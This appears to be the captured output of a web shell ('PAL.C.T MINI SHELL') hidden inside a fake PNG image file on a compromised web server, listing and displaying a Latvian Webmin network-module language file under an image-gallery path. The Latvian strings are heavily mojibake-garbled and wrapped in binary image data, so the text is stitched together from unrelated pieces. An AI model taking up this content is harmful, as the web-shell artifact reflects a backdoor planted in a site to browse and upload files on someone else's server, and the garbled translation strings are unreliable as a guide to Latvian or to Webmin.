‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/net/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/net/lang/lv.auto

index_title=TÄ«kla konfigurÄcija
index_return=tÄ«kla konfigurÄcija
index_apply=Lietot konfigurÄciju
index_applydesc=Noklikšķiniet uz šīs pogas, lai aktivizÄ“tu paÅ¡reizÄ“jo sÄknēšanas laika saskarni un marÅ¡rutēšanas iestatÄ«jumus, kÄdi tie parasti bÅ«tu pÄ“c rebootēšanas. <b>BrÄ«dinÄjums</b> - tas var padarÄ«t jÅ«su sistÄ“mu nepieejamu caur tÄ«klu un pÄrtraukt piekļuvi Webmin.
index_delete1=DeaktivizÄ“jiet atlasÄ«tÄs saskarnes
index_delete2=DzÄ“st atlasÄ«tÄs saskarnes
index_delete3=DzÄ“st un lietot atlasÄ«tÄs saskarnes
index_apply2=Lietot atlasÄ«tÄs saskarnes
index_vmin=Virtualmin
index_mode=TÄ«kla konfigurÄcijas tips: $1 
index_mode_netplan=Netplan
index_mode_cygwin=Cigvins
index_mode_freebsd=FreeBSD
index_mode_macos=MacOS
index_mode_netbsd=NetBSD
index_mode_openbsd=OpenBSD
index_mode_solaris=Solaris
index_mode_windows=Windows

ifcs_title=Tīkla saskarnes
ifcs_now=Aktīvs tagad
ifcs_activedesc=Å ajÄ tabulÄ uzskaitÄ«tÄs saskarnes paÅ¡laik sistÄ“mÄ ir aktÄ«vas. VairumÄ gadÄ«jumu tie jÄrediģē cilnÄ“ <b>AktivizÄ“ts sÄknÄ“jot</b>.
ifcs_bootdesc=Å ajÄ tabulÄ uzskaitÄ«tÄs saskarnes tiks aktivizÄ“tas, palaižot sistÄ“mu, un arÄ« tagad tÄs bÅ«s aktÄ«vas.
ifcs_name=VÄrds
ifcs_type=Veids
ifcs_ip=IPv4 adrese
ifcs_ip6=IPv6 adrese
ifcs_desc=Saskarnes apraksts
ifcs_mask=Netmasks
ifcs_status=Statuss
ifcs_virtual=VirtuÄls
ifcs_up=AugÅ¡Ä
ifcs_down=Uz leju
ifcs_add=Pievienojiet jaunu interfeisu.
ifcs_radd=Pievienojiet jaunu adrešu diapazonu.
ifcs_badd=Pievienojiet jaunu tiltu.
ifcs_boot=Aktivizēts Boot
ifcs_act=Aktīvs
ifcs_bootp=No BOOTP
ifcs_dhcp=No DHCP
ifcs_auto6=No IPv6 atklÄÅ¡anas
ifcs_broad=Raidījums
ifcs_auto=AutomÄtiska
ifcs_mtu=MTU
ifcs_virts=VirtuÄlÄs saskarnes
ifcs_addvirt=Pievienojiet virtuÄlo saskarni
ifcs_return=tīkla saskarnes
ifcs_unknown=NezinÄms
ifcs_all=Visas saskarnes
ifcs_ecannot=Jums nav atļauts rediģēt tīkla saskarnes
ifcs_ecannot_this=Jums nav atļauts rediģēt šo tīkla saskarni
ifcs_range=Diapazons $1 
ifcs_static2=StatiskÄ konfigurÄcija
ifcs_static3=IPv6 iespējots
ifcs_noaddress=Nav konfigurēta adrese
ifcs_nonetmask=Nav
ifcs_mode=IPv4 adrese
ifcs_mode6=IPv6 adreses
ifcs_address6=IPv6 adrese
ifcs_netmask6=Netmasks
ifcs_mode6a=IPv6 adreses
ifcs_none6=IPv6 ir atspējots
ifcs_link=Tīkla saites statuss
ifcs_linkyes=Savienots
ifcs_linkno=Atvienots
ifcs_speed=Saskarnes Ätrums
ifcs_duplex=, $1 duplekss

aifc_create=Izveidot aktīvo saskarni
aifc_edit=Rediģēt aktīvo saskarni
aifc_desc1=AktÄ«vÄs saskarnes parametri
aifc_desc2=AktÄ«vie virtuÄlÄ interfeisa parametri
aifc_hard=Aparatūras adrese
aifc_default=Noklusējums
aifc_err1=NeizdevÄs izdzÄ“st saskarni
aifc_err2=NeizdevÄs saglabÄt interfeisu
aifc_evirt=TrÅ«kst vai nav derÄ«gs virtuÄlÄs saskarnes numurs
aifc_evirtmin=VirtuÄlÄ saskarnes numuram jÄbÅ«t vismaz $1 
aifc_evirtdup=VirtuÄlais interfeiss $1 jau pastÄv
aifc_edup=Saskarne $1 jau pastÄv
aifc_ename=Trūkst vai nav derīgs interfeisa nosaukums
aifc_eip=“$1†nav derīga IP adrese
aifc_emask='$1' nav derīgs tīkla masks
aifc_ebroad=“$1†nav derīga apraides adrese
aifc_emtu='$1' nav derīgs MTU
aifc_ehard=“$1†nav derīga aparatūras adrese
aifc_eexist=Saskarne '$1' neeksistē
aifc_eclash=Saskarne $1 jau izmanto šo IP adresi
aifc_eaddress6=IPv6 adrese rindÄ $1 nav derÄ«ga
aifc_enetmask6=IPv6 tÄ«kla maskai rindÄ $1 ir jÄbÅ«t veselam skaitlim no 1 lÄ«dz 128
aifc_eclash6=$1. Rindas IPv6 adresi jau izmanto interfeiss $2 
aifc_eaddresses6=Nav ievadītas IPv6 adreses

bifc_create=Izveidot sÄknēšanas interfeisu
bifc_act=AktivizÄ“t sÄknēšanas laikÄ?
bifc_edit=Rediģēt sÄknēšanas interfeisu
bifc_desc1=SÄknēšanas laika interfeisa parametri
bifc_desc2=SÄknēšanas laika virtuÄlÄs saskarnes parametri
bifc_apply=SaglabÄjiet un piesakieties
bifc_dapply=Dzēst un lietot
bifc_err1=NeizdevÄs izdzÄ“st saskarni
bifc_err2=NeizdevÄs saglabÄt interfeisu
bifc_evirt=TrÅ«kst vai nav derÄ«gs virtuÄlÄs saskarnes numurs
bifc_evirtdup=VirtuÄlais interfeiss $1 jau pastÄv
bifc_edup=Saskarne $1 jau pastÄv
bifc_ename=Trūkst vai nav derīgs interfeisa nosaukums
bifc_eip=“$1†nav derīga IP adrese
bifc_emask='$1' nav derīgs tīkla masks
bifc_ebroad=“$1†nav derīga apraides adrese
bifc_emtu='$1' nav derīgs MTU
bifc_err3=NeizdevÄs aktivizÄ“t saskarni
bifc_err4=NeizdevÄs deaktivizÄ“t interfeisu
bifc_capply=Izveidot un lietot
bifc_eapply=Nevar aktivizēt saskarni, kas izmanto DHCP vai BOOTP
bifc_edhcpmain=DHCP var iespÄ“jot tikai primÄrajÄ tÄ«kla saskarnÄ“
bifc_bridgeto=Pievienojiet tiltu saskarnei
bifc_nobridge=&lt;Nav&gt;
bifc_ebridgeto=Lai Å¡o tiltu izmantotu, ir jÄizvÄ“las esoÅ¡a Ethernet saskarne
bifc_ebridgeto2=Atlasītajai tilta saskarnei nedrīkst būt piešķirta adrese
bifc_ebridge=Tilta saskarnei jÄbÅ«t skaitlim
bifc_bridgestp=Koka protokols
bifc_bridgefd=Uz priekÅ¡u kavēšanÄs
bifc_bridgewait=Kavējieties, lai kļūtu pieejams
bifc_ebond=ObligÄcijas saskarnei jÄbÅ«t skaitlim

bonding_add=Pievienojiet jaunu saskarnes interfeisu.
bonding_create=Izveidot līmēšanas saskarni
bonding_teamparts=Komandēšanas partneri
bonding_teampartsdesc=Atsevišķi partneri ar atstarpi, piem. "eth2 eth4"
bonding_teammode=Komandas režīms
bonding_primary=PrimÄrÄ saskarne
bonding_primarydesc=PiemÄ“rojams tikai ar aktÄ«vÄs dublēšanas, lÄ«dzsvara tlb vai lÄ«dzsvara alb grupēšanas režīmiem
bonding_miimon=Mii-uzraudzÄ«bas intervÄls
bonding_miimondesc=(Lai atspÄ“jotu saites uzraudzÄ«bu, atstÄjiet tukÅ¡u)
bonding_updelay=Updelay
bonding_downdelay=KavēšanÄs

vlan_add=Pievienojiet saskarni Vlan Tagged
vlan_physical=FiziskÄ ierÄ«ce
vlan_id=Vlan ID
vlan_create=Izveidojiet VLAN saskarni

bridge_create=Izveidot tilta saskarni

routes_title=MarÅ¡rutēšana un vÄrti
routes_boot=MarÅ¡rutēšanas konfigurÄcija ir aktivizÄ“ta <i>sÄknēšanas laikÄ</i>
routes_now=MarÅ¡rutēšanas konfigurÄcija ir aktivizÄ“ta tagad
routes_default=NoklusÄ“juma marÅ¡rutÄ“tÄjs
routes_default6=NoklusÄ“juma IPv6 marÅ¡rutÄ“tÄjs
routes_default2=Noklusējuma maršruti
routes_none=Nav (vai no DHCP)
routes_device=Ierīce
routes_gateway=VÄrteja
routes_gateway6=IPv6 vÄrteja
routes_forward=Darbojas kÄ marÅ¡rutÄ“tÄjs?
routes_routed=Vai sÄkt marÅ¡ruta atklÄÅ¡anas dÄ“monu?
routes_edefault='$1' nav derÄ«gs noklusÄ“juma marÅ¡rutÄ“tÄjs
routes_edefault6='$1' nav derÄ«gs IPv6 noklusÄ“juma marÅ¡rutÄ“tÄjs
routes_edevice='$1' nav derīga ierīce
routes_device2=Noklusējuma maršruta ierīce
routes_static=Statiskie maršruti
routes_ifc=Saskarne
routes_net=Tīkls
routes_mask=Netmasks
routes_type=Veids
routes_enet='$1' nav derīgs tīkls
routes_emask='$1' nav derīgs tīkla masks
routes_egateway='$1' nav derÄ«gs vÄrteja
routes_egateway6='$1' nav derÄ«gs IPv6 vÄrteja
routes_defaults=NoklusÄ“juma marÅ¡rutÄ“tÄji
routes_defaults6=NoklusÄ“juma IPv6 marÅ¡rutÄ“tÄji
routes_possible=Ja iespējams
routes_local=Vietējie maršruti
routes_err=NeizdevÄs saglabÄt marÅ¡rutēšanu
routes_ecannot=Jums nav atļauts rediģēt marÅ¡rutēšanu un vÄrtejas
routes_script=Papildu maršrutēšanas komandas
routes_etype='$1' nav derīgs maršruta tips
routes_any=Jebkurš
routes_edefault2=NederÄ«gs noklusÄ“juma vÄrtejas adreses numurs $1 
routes_eclash=Jebkuram interfeisam var definēt tikai vienu noklusējuma maršrutu
routes_eclash6=Jebkuram IPv6 interfeisam var noteikt tikai vienu noklusējuma maršrutu
routes_eclash2=$1 var definēt tikai vienu noklusējuma maršrutu
routes_none2=Nav
routes_auto=AutomÄtiska
routes_gwmetric=Saskarnes metrika
routes_dest=Galamērķis
routes_gw=VÄrteja
routes_iface=Saskarne
routes_def=Noklusējuma maršruts
routes_def6=Noklusējuma IPv6 maršruts
routes_active=Aktīvie maršruti
routes_nogw=Nav
routes_delete=Dzēst atlasītos maršrutus
routes_cheader=Izveidojiet aktīvo maršrutu
routes_cdest=Maršruta mērķis
routes_cdef=Noklusējuma maršruts
routes_cnetmask=Netmasks galamērķim
routes_cvia=Maršruts caur
routes_ciface=Tīkla saskarne $1 
routes_cgw=VÄrteja $1 
routes_cerr=NeizdevÄs izveidot aktÄ«vo marÅ¡rutu
routes_ecdest=Trūkst vai nav derīga mērķa IP adrese vai tīkls
routes_ecnetmask=Trūkst vai nav derīgs tīkla masks
routes_ecgw=TrÅ«kst vai nav derÄ«ga vÄrtejas adrese
routes_derr=NeizdevÄs izdzÄ“st marÅ¡rutus
routes_denone=Nav atlasīts
routes_ecnetmask2=TÄ«kla masku nevar norÄdÄ«t noklusÄ“juma marÅ¡rutam
routes_ggw=Izmantojiet marÅ¡rutÄ“tÄju $1 caur interfeisu $2 
routes_tabboot=SÄknēšanas laika konfigurÄcija
routes_tabactive=AktÄ«va konfigurÄcija
routes_descactive=Å ajÄ sadaÄ¼Ä uzskaitÄ«ti marÅ¡ruti, kurus sistÄ“ma paÅ¡laik ir konfigurÄ“jusi, un tas ļauj pievienot vai noņemt aktÄ«vos marÅ¡rutus dažÄs sistÄ“mÄs. To dariet uzmanÄ«gi, jo nepareizas izmaiņas var izslÄ“gt sistÄ“mu, kurÄ darbojas Webmin, no pÄrÄ“jÄ tÄ«kla.
routes_descboot=Å Ä« sadaļa ļauj jums konfigurÄ“t marÅ¡rutus, kas tiek aktivizÄ“ti, kad sistÄ“ma tiek sÄkta, vai kad tÄ«kla iestatÄ«jumi tiek pilnÄ«bÄ piemÄ“roti atkÄrtoti.

dns_title=Resursdatora nosaukums un DNS klients
dns_options=DNS klienta opcijas
dns_hostname=Resursdatora nosaukums
dns_order=Noregulējuma rīkojums
dns_servers=DNS serveri
dns_search=Meklēt domēnus
dns_none=Nav
dns_listed=SarakstÄ ..
dns_eorder=Trūkst noregulējuma rīkojuma
dns_ecannot=Jums nav atļauts rediģēt DNS klienta iestatījumus
dns_err=NeizdevÄs saglabÄt DNS konfigurÄciju
dns_ehost='$1' nav derīgs resursdatora nosaukums
dns_ens='$1' nav derÄ«ga vÄrda servera IP adrese
dns_edomain='$1' nav derÄ«gs domÄ“na vÄrds
dns_esearch=Nav neviena domÄ“na, kurÄ meklÄ“t
dns_hoststoo=Vai atjauninÄt resursdatora nosaukumu resursdatora adresÄ“s, ja tas tiek mainÄ«ts?
dns_dhcp=Resursdatora vÄrdu nosaka DHCP serveris?

hosts_title=Saimnieku adreses
hosts_active=Iespējots?
hosts_ip=IP adrese
hosts_host=Resursdatora nosaukumi
hosts_add=Pievienojiet jaunu resursdatora adresi.
hosts_edit=Rediģēt resursdatora adresi
hosts_create=Izveidot resursdatora adresi
hosts_detail=Saimnieks un adreses
hosts_return=resursdatoru adrešu saraksts
hosts_ecannot=Jums nav atļauts rediģēt resursdatora adreses
hosts_delete=DzÄ“st atlasÄ«tÄs resursdatora adreses

ipnodes_title=IPv6 resursdatoru adreses
ipnodes_ip=IPv6 adrese
ipnodes_host=Resursdatora nosaukumi
ipnodes_add=Pievienojiet jaunu IPv6 resursdatora adresi.
ipnodes_edit=Rediģēt IPv6 resursdatora adresi
ipnodes_create=Izveidojiet IPv6 resursdatora adresi
ipnodes_detail=Saimnieks un adreses
ipnodes_return=IPv6 resursdatoru adrešu saraksts
ipnodes_ecannot=Jums nav atļauts rediģēt IPv6 resursdatora adreses
ipnodes_none=PagaidÄm nav definÄ“tas IPv6 resursdatora adreses.
ipnodes_delete=DzÄ“st atlasÄ«tÄs IPv6 resursdatora adreses

log_create_host=Izveidota resursdatora adrese $1 
log_delete_host=Izdzēsta resursdatora adrese $1 
log_modify_host=Modificēta resursdatora adrese $1 
log_create_ipnode=Izveidota IPv6 resursdatora adrese $1 
log_delete_ipnode=Izdzēsta IPv6 resursdatora adrese $1 
log_modify_ipnode=Modificēta IPv6 resursdatora adrese $1 
log_dns=Mainītas DNS klienta iespējas
log_routes=MainÄ«tas marÅ¡rutēšanas un vÄrtejas iespÄ“jas
log_create_aifc=AktivizÄ“tÄ saskarne $1 adrese $2 
log_modify_aifc=Aktivizēta interfeisa $1 adrese $2 
log_delete_aifc=Deaktivizēta saskarne $1 adrese $2 
log_create_bifc=Izveidota saskarne $1 adrese $2 
log_modify_bifc=Modificēta saskarne $1 adrese $2 
log_delete_bifc=Izdzēsta interfeisa $1 adrese $2 
log_dyn=dinamisks
log_delete_hosts=Izdzēstas $1 resursdatora adreses
log_delete_ipnodes=Dzēstas $1 IPv6 resursdatora adreses
log_delete_afics=Dzēš $1 aktÄ«vÄs saskarnes
log_delete_bfics=Dzēš $1 sÄknēšanas saskarnes
log_apply_bfics=AktivizÄ“tas $1 sÄknēšanas saskarnes
log_create_route=Izveidots aktīvs maršruts $1 
log_create_defroute=Izveidots aktīvs noklusējuma maršruts
log_delete_routes=Izdzēsti $1 aktīvi maršruti

acl_ifcs=Vai var rediģēt tīkla saskarnes?
acl_routes=Vai var rediģēt marÅ¡rutēšanu un vÄrtejas?
acl_dns=Vai var rediģēt DNS klienta iestatījumus?
acl_hosts=Vai var rediģēt resursdatora adreses?
acl_view=Tikai skatÄms
acl_ifcs_only=Tikai saskarnes
acl_ifcs_ex=Saskarnes, izņemot
acl_apply=Vai var lietot konfigurÄciju?
acl_bootonly=Vai var rediģēt aktÄ«vÄs saskarnes?
acl_netmask=Vai var rediģēt tīkla masku?
acl_broadcast=Vai var rediģēt apraidi?
acl_mtu=Vai var rediģēt MTU?
acl_up=Vai var rediģēt aktÄ«vo stÄvokli?
acl_virt=Vai var pievienot virtuÄlÄs saskarnes?
acl_delete=Vai var izdzēst saskarnes?
acl_hide=Vai paslÄ“pt rediģējamÄs saskarnes?
acl_sysinfo=RÄdÄ«t pieejamÄs tÄ«kla saskarnes informÄcijas panelÄ«

interfaces_title1=Izvēlieties saskarnes. ..
interfaces_all=Visas saskarnes. ..
interfaces_sel=AtlasÄ«tÄs saskarnes
interfaces_ok=labi
interfaces_cancel=Atcelt
interfaces_clear=Skaidrs
interfaces_title2=AtlasÄ«t lietotÄju. ..

apply_ecannot=Jums nav atļauts lietot konfigurÄciju

mod_egone=Interfeiss vairs nav aktīvs!
mod_title=AktÄ«vÄ saskarne
mod_desc=$1 saskarne tiek izmantota $2, tÄpÄ“c to nevar pÄrvaldÄ«t, izmantojot Å¡o moduli.
mod_link=TomÄ“r tÄ pÄrvaldīšanai varat izmantot moduli <a href='$1'>$2</a>.
mod_ppp=PPP iezvanes savienojums ar $1 
mod_adsl=ADSL PPP savienojums
mod_pptps=PPTP savienojums no klienta $1 
mod_pptpc=PPTP savienojums $1 
mod_zones=virtuÄls interfeiss zonai <tt>$1</tt>
mod_virtualmin=Virtualmin serveris <tt>$1</tt>
mod_reseller=Virtualmin tÄlÄkpÄrdevÄ“js <tt>$1</tt>

range_edit=Rediģēt adrešu diapazonu
range_create=Izveidot adrešu diapazonu
range_header=Adrešu diapazona interfeisa opcijas
range_start=SÄkuma adrese
range_end=Beigu adrese
range_num=Pirmais virtuÄlais interfeiss Nr.
range_iface=Īsts interfeiss
range_name=Diapazona nosaukums
range_err=NeizdevÄs saglabÄt adreÅ¡u diapazonu
range_ename=Trūkst vai nav derīgs diapazona nosaukums
range_estart=TrÅ«kst vai nav derÄ«ga sÄkuma IP adrese
range_eend=Trūkst vai nav derīga IP adrese
range_enum=TrÅ«kst vai nav ciparu pirmais virtuÄlÄs saskarnes numurs
range_eclass=SÄkuma un beigu adresÄ“m jÄatrodas tajÄ paÅ¡Ä C klases tÄ«klÄ
range_ebefore=Beigu adresei jÄbÅ«t augstÄkai par sÄkuma adresi

chooser_any=&lt;Jebkurš&gt;
chooser_other=Cits ..

dafics_err=NeizdevÄs deaktivizÄ“t saskarnes
daifcs_enone=Nav atlasīts
daifcs_egone=Saskarne vairs nepastÄv!

dbifcs_err=NeizdevÄs izdzÄ“st saskarnes
dbifcs_err2=NeizdevÄs aktivizÄ“t saskarnes

hdelete_err=NeizdevÄs izdzÄ“st resursdatora adreses
hdelete_enone=Nav atlasīts
idelete_err=NeizdevÄs izdzÄ“st IPv6 resursdatora adreses
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚